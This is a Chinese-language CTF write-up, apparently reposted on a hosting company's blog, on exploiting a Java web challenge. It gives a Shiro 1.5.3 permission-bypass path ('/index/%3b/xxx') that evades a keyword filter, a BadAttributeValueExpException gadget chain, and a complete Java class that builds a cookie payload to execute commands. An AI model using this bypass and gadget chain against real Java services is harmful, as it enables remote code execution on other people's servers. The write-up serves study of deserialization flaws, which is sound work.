您好,登錄后才能下訂單哦!
這篇文章主要介紹“什么是Java反序列化漏洞”,在日常操作中,相信很多人在什么是Java反序列化漏洞問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”什么是Java反序列化漏洞”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!
近年來,工作中Java Web
的項目越來越常見,并且逐漸取代了前幾年php
的輝煌地位。
在眾多Java Web
漏洞中,反序列化漏洞獨樹一幟,大量框架或者中間件都存在反序列化漏洞,它們被大佬們鐘愛,并且翻過來覆過去的反復蹂躪,,例如:Shiro
、Fastjson
、JBoss
、WebLogic
、Structs2
等等。
本文基于一次內部小范圍比賽題目的復現,簡單聊聊Java
代碼審計中的反序列化漏洞,以及其他漏洞的組合利用。由于學習門檻降低,各大學習論壇或網站上存在大量優秀的Java
反序列化的入門文章,里面對Java
的基本概念以及反序列化的基礎有著詳細的描述和講解。本文不再贅述Java
反序列化中的簡單概念,僅從題目本身入手。
題目本身是Web
題目,并且提供了源碼。
打開頁面,登錄窗口。
頁面僅有一個登錄窗口,嘗試一波弱口令,無結果。
然后去看代碼,jar
包導入JD-GUI
,隨便點點。
大致文件結構如下:
其中ShiroConfig.class
內容如下:
簡單審計發現,index
內容需要認證,也就是需要登錄。
查看index
對應的IndexController.class
,發現存在反序列化點。
具體代碼如下:
if (cookies != null) { for (Cookie c : cookies) { if (c.getName().equals("userinfo")) { exist = true; cookie = c; break; } } } if (exist) { byte[] bytes = Tools.base64Decode(cookie.getValue()); user = (User)Tools.deserialize(bytes); } else { user = new User(); user.setId(1); user.setName(name); cookie = new Cookie("userinfo", Tools.base64Encode(Tools.serialize(user))); response.addCookie(cookie); }
當訪問index
時,并且存在cookie
的key
為userinfo
時,會對其value
進行deserialize
。
過程如下:
cookie[userinfo] --> base64decode --> deserialize
暫時思路是,登錄之后,通過cookie
進行反序列化。
但是由MyRealm.class
可知,密碼是隨機的。
具體代碼如下:
return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());
再由lib
中的BOOT-INF.lib.shiro-spring-1.5.3.jar
可知,shiro
版本為 1.5.3 ,存在CVE-2020-13933
權限繞過漏洞。
根據 https://xz.aliyun.com/t/8230 可知,常用payload
為/index/%3bxxx
。
但存在過濾器AllFilter.class
。
public class AllFilter implements IAllFilter { public String filter(String param) { String[] keyWord = { "'", "\"", "select", "union", "/;", "/%3b" }; for (String i : keyWord) { param = param.replaceAll(i, ""); } return param; } }
AllFilter
會對payload
的字符進行過濾,經過嘗試,最終有效payload
為/index/%3b/xxx
。
繞過權限之后,發現后臺為日志記錄。
涉及到LogHandler.class
,在之后的后續反序列化會用到。
繞過權限之后,想辦法反序列化。
要序列化的條件是,必須繼承Java.io.Serializable
接口。
在代碼中尋找可被利用的class
。
發現LogHandler.class
。
其中存在命令執行點
public class LogHandler extends HashSet implements InvocationHandler { private static final long serialVersionUID = 1L; private String readLog = "tail /tmp/accessLog"; private Object target; private String writeLog = "echo /test >> /tmp/accessLog"; public LogHandler() {} public LogHandler(Object target) { this.target = target; } public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0])); return method.invoke(this.target, args); } public String toString() { return Tools.exeCmd(this.readLog); } }
LogHandler
繼承了HashSet
。
HashSet
繼承了Java.io.Serializable
接口。
HashSet
部分代碼如下:
package Java.util; import Java.io.InvalidObjectException; import sun.misc.SharedSecrets; public class HashSet<E>extends AbstractSet<E>implements Set<E>, Cloneable, Java.io.Serializable{ static final long serialVersionUID = -5024744406713321676L; ......
之后的pop
鏈為:
deserialize --> LogHandler --> toString --> exeCmd (readLog)
條件:readLog
可控 。
readLog
為私有屬性,可通過Java
的反射機制訪問屬性值。
方法 | 說明 |
---|---|
getDeclaredField(String name) | 獲得某個屬性對 |
例如:
import Java.lang.reflect.*; public class AccessAttribute { public static void main(String[] args) throws Exception { Field aaa= UserClass.getDeclaredField("name"); aaa.setAccessible(true);//私有屬性,設置可訪問 aaa.set(user, "liuxigua"); } }
最終目的:尋找某個Java
原生類,要求:重寫readObject
方法并且可調用可控類的toString
方法。
最后百度查到BadAttributeValueExpException
,并且很多Java
反序列化的Gadgets
均用到了此類
BadAttributeValueExpException
部分代碼如下:
public class BadAttributeValueExpException extends Exception { private static final long serialVersionUID = -3105272988410493376L; private Object val; public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } public String toString() { return "BadAttributeValueException: " + val; } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } }
可通過將val
設置為logHandler
類,最終在readObject
時調用其toString
方法。
BadAttributeValueExpException (val) --> LogHandler(readLog).toString() --> serialize --> base64encode cookie[userinfo] --> base64decode --> deserialize --> LogHandler --> toString --> exeCmd (readLog)
最終Gadgets
:
Javax.management.BadAttributeValueExpException.readObject() -->tools.logHandler.toString()--> tools.Tools.exeCmd()
注意:payload
的代碼結構與文件位置需要與服務端代碼結構與文件位置保持一致
package com.test.JavaWeb; import Javax.management.BadAttributeValueExpException; import com.test.JavaWeb.tools.Tools; import com.test.JavaWeb.tools.LogHandler; import Java.lang.reflect.Field; public class Exp { public static void main(String[] args) throws Exception{ LogHandler logHandler = new LogHandler(); Field readLogField = LogHandler.class.getDeclaredField("readLog"); readLogField.setAccessible(true); readLogField.set(logHandler,"touch /tmp/123"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(""); Field valField = BadAttributeValueExpException.class.getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException,logHandler); byte[] bytes = Tools.serialize(badAttributeValueExpException); System.out.println(Tools.base64Encode(bytes)); } }
生成payload
之后,在cookie
的userinfo
值填入,可執行命令。
到此,關于“什么是Java反序列化漏洞”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。